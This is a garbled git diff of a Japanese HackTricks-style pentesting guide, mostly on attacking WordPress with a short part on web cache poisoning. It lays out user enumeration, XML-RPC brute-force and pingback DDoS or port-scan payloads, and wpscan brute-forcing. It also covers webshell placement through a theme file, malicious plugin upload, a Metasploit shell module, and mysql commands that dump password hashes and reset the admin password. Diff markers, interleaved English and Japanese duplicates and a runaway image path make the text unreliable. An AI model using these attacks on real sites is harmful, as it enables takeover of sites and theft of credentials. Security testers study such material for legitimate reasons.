To get themes in WordPress, you can follow these steps:
|
||||
WordPressでは、テーマはウェブサイトの外観やレイアウトをカスタマイズするために使用されます。テーマは通常、WordPressの公式テーマディレクトリやテーママーケットプレイスから入手できます。
|
||||
|
||||
1. Log in to the WordPress admin dashboard.
|
||||
2. Go to the "Appearance" section and click on "Themes".
|
||||
3. Here, you will see a list of installed themes. To add a new theme, click on the "Add New" button.
|
||||
4. You can browse through the available themes or use the search bar to find a specific theme.
|
||||
5. Once you find a theme you like, hover over it and click on the "Install" button.
|
||||
6. After the theme is installed, you can activate it by clicking on the "Activate" button.
|
||||
以下の手順に従って、WordPressでテーマを取得することができます。
|
||||
|
||||
By following these steps, you can easily get and install new themes for your WordPress website.
|
||||
1. WordPressの管理画面にログインします。
|
||||
2. 「外観」メニューから「テーマ」を選択します。
|
||||
3. 「新規追加」ボタンをクリックします。
|
||||
4. テーマの一覧が表示されますので、興味のあるテーマを選択します。
|
||||
5. テーマの詳細ページで、「プレビュー」ボタンをクリックして、テーマの外観を確認します。
|
||||
6. テーマをインストールする場合は、「インストール」ボタンをクリックします。
|
||||
7. インストールが完了したら、「有効化」ボタンをクリックして、テーマを有効にします。
|
||||
|
||||
これで、WordPressで新しいテーマを取得して利用することができます。
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### 一般的なバージョンの抽出
|
||||
|
||||
To extract versions in general, you can try the following methods:
|
||||
WordPressのバージョンを特定するために、いくつかの方法があります。
|
||||
|
||||
1. **Check the source code**: Look for version information in the source code of the WordPress installation. This can be found in files like `readme.html` or `wp-includes/version.php`.
|
||||
1. **メタデータの確認**: WordPressのバージョンは、HTMLのメタデータ内に記載されていることがあります。ウェブページのソースコードを表示し、`<meta name="generator" content="WordPress x.x.x" />`という行を探します。`x.x.x`はWordPressのバージョン番号です。
|
||||
|
||||
2. **Inspect HTTP headers**: Use tools like `curl` or browser extensions to inspect the HTTP headers of the WordPress site. Look for headers like `X-Powered-By` or `X-Generator` that may reveal the version information.
|
||||
2. **リードミーの確認**: WordPressのバージョンは、ウェブサイトのルートディレクトリにある`readme.html`ファイルにも記載されています。このファイルを表示し、バージョン番号を確認します。
|
||||
|
||||
3. **Search for version-specific files**: Some WordPress versions have specific files or directories that can be used to identify the version. For example, the presence of the `wp-includes/js/tinymce/wp-tinymce.php` file indicates a version prior to 3.9.
|
||||
3. **ディレクトリ名の確認**: WordPressのバージョンは、インストールされたディレクトリ名にも含まれている場合があります。ウェブサイトのURLを確認し、`/wp-content/themes/`または`/wp-content/plugins/`の後に続くディレクトリ名を確認します。ディレクトリ名にはバージョン番号が含まれていることがあります。
|
||||
|
||||
4. **Analyze error messages**: Error messages displayed by WordPress can sometimes reveal version information. For example, an error message like "WordPress database error" followed by a specific version number can indicate the version being used.
|
||||
|
||||
Remember to cross-reference the information obtained from different methods to ensure accuracy.
|
||||
これらの方法を使用して、WordPressのバージョンを特定することができます。
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化することができます。\
|
||||
今すぐアクセスを取得:
|
||||
今すぐアクセスを取得してください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -128,7 +129,7 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -
|
|||
|
||||
### プラグインとテーマ
|
||||
|
||||
おそらく、すべてのプラグインとテーマを見つけることはできません。すべてを発見するには、プラグインとテーマのリストを**アクティブにブルートフォースする**必要があります(幸いなことに、このリストを含む自動化ツールがあります)。
|
||||
おそらく、すべてのプラグインとテーマを見つけることはできません。すべてを発見するには、**プラグインとテーマのリストをアクティブにブルートフォースする**必要があります(幸いなことに、このリストを含む自動化ツールがあります)。
|
||||
|
||||
### ユーザー
|
||||
|
||||
|
@ -142,7 +143,7 @@ curl -s -I -X GET http://blog.example.com/?author=1
|
|||
|
||||
**wp-json**
|
||||
|
||||
また、ユーザーに関する情報を取得するために、以下のようにクエリを試すこともできます。
|
||||
また、ユーザーに関する情報を取得するためにクエリを試すこともできます。
|
||||
```
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
|
@ -156,7 +157,7 @@ curl http://blog.example.com/wp-json/wp/v2/users
|
|||
|
||||
### XML-RPC
|
||||
|
||||
`xml-rpc.php`がアクティブな場合、資格情報のブルートフォース攻撃を実行したり、他のリソースへのDoS攻撃を行ったりすることができます(たとえば、[こちら](https://github.com/relarizky/wpxploit)を使用してこのプロセスを自動化することができます)。
|
||||
`xml-rpc.php`がアクティブな場合、資格情報の総当たり攻撃を実行したり、他のリソースへのDoS攻撃に使用することができます(たとえば、[こちら](https://github.com/relarizky/wpxploit)を使用してこのプロセスを自動化することができます)。
|
||||
|
||||
アクティブかどうかを確認するには、_**/xmlrpc.php**_にアクセスし、次のリクエストを送信してください:
|
||||
|
||||
|
@ -171,7 +172,7 @@ curl http://blog.example.com/wp-json/wp/v2/users
|
|||
|
||||
**資格情報のブルートフォース攻撃**
|
||||
|
||||
**`wp.getUserBlogs`**、**`wp.getCategories`**または**`metaWeblog.getUsersBlogs`**は、資格情報のブルートフォース攻撃に使用できるいくつかのメソッドです。これらのいずれかを見つけることができれば、次のようなものを送信することができます。
|
||||
**`wp.getUserBlogs`**、**`wp.getCategories`**、または**`metaWeblog.getUsersBlogs`**は、資格情報のブルートフォース攻撃に使用できるいくつかのメソッドです。これらのいずれかを見つけることができれば、次のようなものを送信することができます。
|
||||
```markup
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
|
@ -181,9 +182,13 @@ curl http://blog.example.com/wp-json/wp/v2/users
|
|||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
正しいユーザー名とパスワードを使用しない場合、200コードの応答内には「ユーザー名またはパスワードが正しくありません」というメッセージが表示されます。
|
||||
正しいユーザー名とパスワードを使用しない場合、200コードのレスポンス内には「ユーザー名またはパスワードが正しくありません」というメッセージが表示されます。
|
||||
|
||||
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)
|
||||
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (102).png>)
|
||||
|
||||
正しい資格情報を使用すると、ファイルをアップロードすることができます。レスポンスにはパスが表示されます ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))。
|
||||
```markup
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
|
@ -223,7 +228,7 @@ curl http://blog.example.com/wp-json/wp/v2/users
|
|||
|
||||
**DDoSまたはポートスキャン**
|
||||
|
||||
リスト内に_**pingback.ping**_メソッドを見つけることができれば、Wordpressに任意のホスト/ポートに対してリクエストを送信させることができます。これを使用して、Wordpressの**数千のサイト**に特定の**場所**(したがって、その場所で**DDoS**が発生する)への**アクセス**を要求することができます。または、Wordpressに内部の**ネットワーク**をスキャンさせることもできます(任意のポートを指定できます)。
|
||||
リスト内に**_pingback.ping_**メソッドを見つけることができれば、Wordpressに任意のホスト/ポートに対してリクエストを送信させることができます。これを使用して、Wordpressの**数千のサイト**に特定の**場所**に**アクセス**させることができます(その場所で**DDoS**が発生します)またはWordpressに内部の**ネットワーク**を**スキャン**させることができます(任意のポートを指定できます)。
|
||||
```markup
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
|
@ -237,7 +242,7 @@ curl http://blog.example.com/wp-json/wp/v2/users
|
|||
|
||||
もし**faultCode**の値が**0**よりも**大きい**(17)場合、それはポートが開いていることを意味します。
|
||||
|
||||
**`system.multicall`**の使用方法を前のセクションで確認して、このメソッドを乱用してDDoS攻撃を引き起こす方法を学びましょう。
|
||||
**`system.multicall`**の使用方法を前のセクションで確認して、このメソッドを乱用してDDoS攻撃を引き起こす方法を学んでください。
|
||||
|
||||
**DDoS**
|
||||
```markup
|
||||
|
@ -279,16 +284,17 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
|
|||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。
|
||||
今すぐアクセスを取得:
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得してください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## ビットを上書きしてアクセスを取得する
|
||||
|
||||
これは実際の攻撃ではなく、単なる興味です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)では、任意のWordPressファイルの1ビットを反転させることができます。したがって、ファイル`/var/www/html/wp-includes/user.php`の位置`5389`のビットを反転させて、NOT(`!`)操作をNOP化することができます。
|
||||
これは実際の攻撃ではなく、単なる興味です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)では、任意のWordPressファイルの1ビットを反転させることができます。したがって、ファイル`/var/www/html/wp-includes/user.php`の位置`5389`を反転させて、NOT(`!`)操作をNOP化することができます。
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
|
@ -303,7 +309,7 @@ phpシェルの内容を変更します:
|
|||
|
||||
![](<../../.gitbook/assets/image (21) (1) (1).png>)
|
||||
|
||||
インターネットで更新されたページにアクセスする方法を検索します。この場合、ここにアクセスする必要があります:[http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
更新されたページにアクセスする方法をインターネットで検索します。この場合、ここにアクセスする必要があります:[http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
|
@ -342,13 +348,13 @@ use exploit/unix/webapp/wp_admin_shell_upload
|
|||
|
||||
### 悪意のあるプラグインのアップロードと有効化
|
||||
|
||||
**(この部分は** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)**からコピーされています)**
|
||||
**(この部分は** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) **からコピーされています)**
|
||||
|
||||
ログインユーザーにはWordPressテーマへの変更権限がない場合、ウェブシェルを取得する代替戦略として「Inject WPプラグイン悪意のある」を選択します。
|
||||
|
||||
したがって、WordPressのダッシュボードにアクセスできる場合、悪意のあるプラグインをインストールしてみることができます。ここでは、既に脆弱なプラグインをexploit dbからダウンロードしました。
|
||||
|
||||
練習用にプラグインをダウンロードするには[**ここをクリック**](https://www.exploit-db.com/exploits/36374)してください。
|
||||
練習用にプラグインをダウンロードするには、[**ここをクリック**](https://www.exploit-db.com/exploits/36374)してください。
|
||||
|
||||
![](https://i1.wp.com/1.bp.blogspot.com/-Y\_Aw7zSFJZs/XY9pymSjdvI/AAAAAAAAguY/FGyGEzlx9VIqNYyyra9r55IklNmwXwMQwCLcBGAsYHQ/s1600/10.png?w=687\&ssl=1)
|
||||
|
||||
|
@ -380,33 +386,13 @@ use exploit/unix/webapp/wp_admin_shell_upload
|
|||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
管理者パスワードの変更方法:
|
||||
|
||||
To change the admin password in WordPress, follow these steps:
|
||||
|
||||
1. Log in to the WordPress admin dashboard.
|
||||
2. Go to the "Users" section.
|
||||
3. Click on the "Edit" link next to the admin user.
|
||||
4. Scroll down to the "New Password" section.
|
||||
5. Enter a new password in the "New Password" field.
|
||||
6. Confirm the new password by entering it again in the "Repeat New Password" field.
|
||||
7. Click on the "Update User" button to save the changes.
|
||||
|
||||
WordPressの管理者パスワードを変更するには、以下の手順に従ってください:
|
||||
|
||||
1. WordPressの管理者ダッシュボードにログインします。
|
||||
2. 「ユーザー」セクションに移動します。
|
||||
3. 管理者ユーザーの横にある「編集」リンクをクリックします。
|
||||
4. 「新しいパスワード」セクションまでスクロールします。
|
||||
5. 「新しいパスワード」フィールドに新しいパスワードを入力します。
|
||||
6. 「新しいパスワードを繰り返す」フィールドに再度新しいパスワードを入力して確認します。
|
||||
7. 変更内容を保存するために「ユーザーを更新する」ボタンをクリックします。
|
||||
管理者パスワードの変更方法:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## WordPressの保護
|
||||
|
||||
### 定期的なアップデート
|
||||
### 定期的な更新
|
||||
|
||||
WordPress、プラグイン、テーマが最新であることを確認してください。また、wp-config.phpで自動更新が有効になっていることも確認してください。
|
||||
```bash
|
||||
|
@ -425,15 +411,15 @@ add_filter( 'auto_update_theme', '__return_true' );
|
|||
### **その他の推奨事項**
|
||||
|
||||
* デフォルトの**admin**ユーザーを削除する
|
||||
* **強力なパスワード**と**2FA**を使用する
|
||||
* **強力なパスワード**と**2要素認証**を使用する
|
||||
* 定期的にユーザーの**権限を確認**する
|
||||
* ブルートフォース攻撃を防ぐために、ログイン試行回数を**制限**する
|
||||
* **`wp-admin.php`**ファイルの名前を変更し、内部からのアクセスまたは特定のIPアドレスからのみアクセスを許可する。
|
||||
|
||||
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および**自動化**します。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -442,10 +428,10 @@ add_filter( 'auto_update_theme', '__return_true' );
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -29,47 +29,47 @@
|
|||
|
||||
## キャッシュの改ざん
|
||||
|
||||
キャッシュの改ざんの目的は、**クライアントが予期しないリソースを部分的にまたは攻撃者によって制御されたものとして読み込む**ことです。\
|
||||
キャッシュの改ざんの目的は、**クライアントが予期しないリソースを部分的にまたは攻撃者によって制御された状態で読み込む**ことです。\
|
||||
改ざんされたレスポンスは、キャッシュが改ざんされている間に影響を受けるページを訪れるユーザーにのみ提供されます。その結果、ページが人気があるかどうかによって、影響は存在しないものから大規模なものまでさまざまです。
|
||||
|
||||
キャッシュの改ざん攻撃を実行するには、まず**キャッシュされたリクエストに表示される必要のないパラメータ(キーのない入力)**を特定し、このパラメータを**悪用**して**レスポンスをキャッシュ**させる必要があります。
|
||||
キャッシュの改ざん攻撃を実行するには、まず**キャッシュされたリクエストに表示される必要のないパラメータ(キーのない入力)を特定**する必要があります。その後、このパラメータを**悪用**して**レスポンスをキャッシュ**する方法を見つける必要があります。
|
||||
|
||||
### 発見:HTTPヘッダーの確認
|
||||
|
||||
通常、レスポンスが**キャッシュに保存**されている場合、それを示す**ヘッダーが存在**します。どのヘッダーに注意を払うべきかを確認するには、この記事を参照してください:[**HTTPキャッシュヘッダー**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
|
||||
|
||||
### 発見:キャッシュされた400コード
|
||||
### 発見:400コードのキャッシュ
|
||||
|
||||
レスポンスがキャッシュされていると思われる場合、**不正なヘッダーを含むリクエスト**を送信して、**ステータスコード400**で応答されるかどうかを確認できます。その後、通常通りにリクエストにアクセスし、**レスポンスが400ステータスコード**である場合、脆弱性があることがわかります(DoS攻撃も実行できます)。\
|
||||
不正な設定されたヘッダーは、ヘッダーとして単に`\:`である場合があります。\
|
||||
レスポンスがキャッシュに保存されていると思われる場合、**不正なヘッダーを含むリクエスト**を送信して、**ステータスコード400**で応答されるかどうかを確認できます。その後、通常通りにリクエストにアクセスし、**レスポンスが400ステータスコード**である場合、脆弱性があることがわかります(さらにDoS攻撃を実行することもできます)。\
|
||||
不正な構成のヘッダーは、ヘッダーとして単に`\:`である場合があります。\
|
||||
_なお、このようなステータスコードはキャッシュされない場合もあるため、このテストは無意味になることがあります。_
|
||||
|
||||
### 発見:キーのない入力の特定と評価
|
||||
|
||||
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、**ページのレスポンスを変更する可能性のあるパラメータとヘッダー**を**ブルートフォース**できます。たとえば、ページが`X-Forwarded-For`ヘッダーを使用してクライアントにスクリプトをそこから読み込む場合があります:
|
||||
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、**ページのレスポンスを変更する可能性のあるパラメータとヘッダー**を**ブルートフォース**できます。たとえば、ページが`X-Forwarded-For`ヘッダーを使用してクライアントにスクリプトをそこから読み込むように指示している場合があります:
|
||||
```markup
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### バックエンドサーバーから有害な応答を引き出す
|
||||
|
||||
特定したパラメータ/ヘッダーがどのように「サニタイズ」されているか、またはどのようにヘッダーから応答に影響を与えているかを確認します。それを悪用することはできますか(XSSを実行するか、自分が制御するJSコードをロードするか? DoSを実行するか?...)
|
||||
特定したパラメータ/ヘッダーがどのように「サニタイズ」されているか、またはどのようにヘッダーからの応答に影響を与えているかを確認します。それを悪用することはできますか(XSSを実行したり、自分が制御するJSコードをロードしたりしますか? DoSを実行しますか?...)
|
||||
|
||||
### 応答をキャッシュする
|
||||
|
||||
